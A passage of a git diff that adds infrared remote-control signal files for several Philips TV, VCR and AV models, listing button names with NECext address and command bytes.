KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: DEMO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: SCENEA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: AD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 9F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F3 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F4 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir new file mode 100644 index 000000000..f269e02b3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: Previous_channel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: MHEG_Cancel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: Dual_Screen +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: CC 00 00 00 +# +name: Picture_Format +type: parsed +protocol: NECext +address: 00 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir new file mode 100644 index 000000000..d7f93944f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: show_settings +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: brightness_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: brightness_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: contrast_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: contrast_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: bass_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: bass_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: trebble_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: trebble_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: skip_forward +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: txt_hold +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: txt_clock +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: txt_enlarg +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: txt_question +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: txt_cross +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: txt_half +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: bell_off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: xmark +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: arrows +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: bell_on +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: txt_on +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: txt_off +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir new file mode 100644 index 000000000..471680d3b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: Brightness_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: Brightness_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: Contrast_up +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: Contrast_down +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: Search_programm +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: Skip_back +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: Skip_forw +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: Forw +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir new file mode 100644 index 000000000..e43976256 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir @@ -0,0 +1,542 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: S_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: S_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: S_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: S_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: S_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: S_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: S_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: S_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: S_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: S_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: S_1- +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: CP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: S_CP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: S_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: S_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: S_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: S_VOLUME_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: S_VOLUME_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: BRIGHTNESS_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: S_BRIGHTNESS_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 12 00 00 00 +# +name: BRIGHTNESS_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: S_BRIGHTNESS_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 13 00 00 00 +# +name: CONTRAST_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: S_CONTRAST_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 14 00 00 00 +# +name: CONTRAST_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: S_CONTRAST_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 15 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: S_BASS_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 16 00 00 00 +# +name: BASS_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: S_BASS_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 17 00 00 00 +# +name: TREBLE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: S_TREBLE_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 18 00 00 00 +# +name: TREBLE_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: S_TREBLE_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 19 00 00 00 +# +name: BALANCE_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: S_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1A 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: S_BALANCE_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1B 00 00 00 +# +name: TT_OUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: S_TT_OUT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: TT_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: S_TT_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: I-II +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: S_I-II +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: S_STEREO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: TT_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: S_TT_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: TT_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: S_TT_TIME +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: TT_UPDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: S_TT_UPDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2B 00 00 00 +# +name: TT_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: S_TT_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: TT_X +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: S_TT_X +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2D 00 00 00 +# +name: TT_MIX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: S_TT_MIX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: FAST_BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: S_REVERSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: S_TELETEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: S_TV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir new file mode 100644 index 000000000..8684581e8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: SOUNDOFF +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: SERV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: FRONT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir new file mode 100644 index 000000000..c669c5cc9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1C 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 27 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 28 00 00 00 +# +name: Still +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 30 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: Mem +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir new file mode 100644 index 000000000..bba5be745 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: x> +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: fast-backward +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 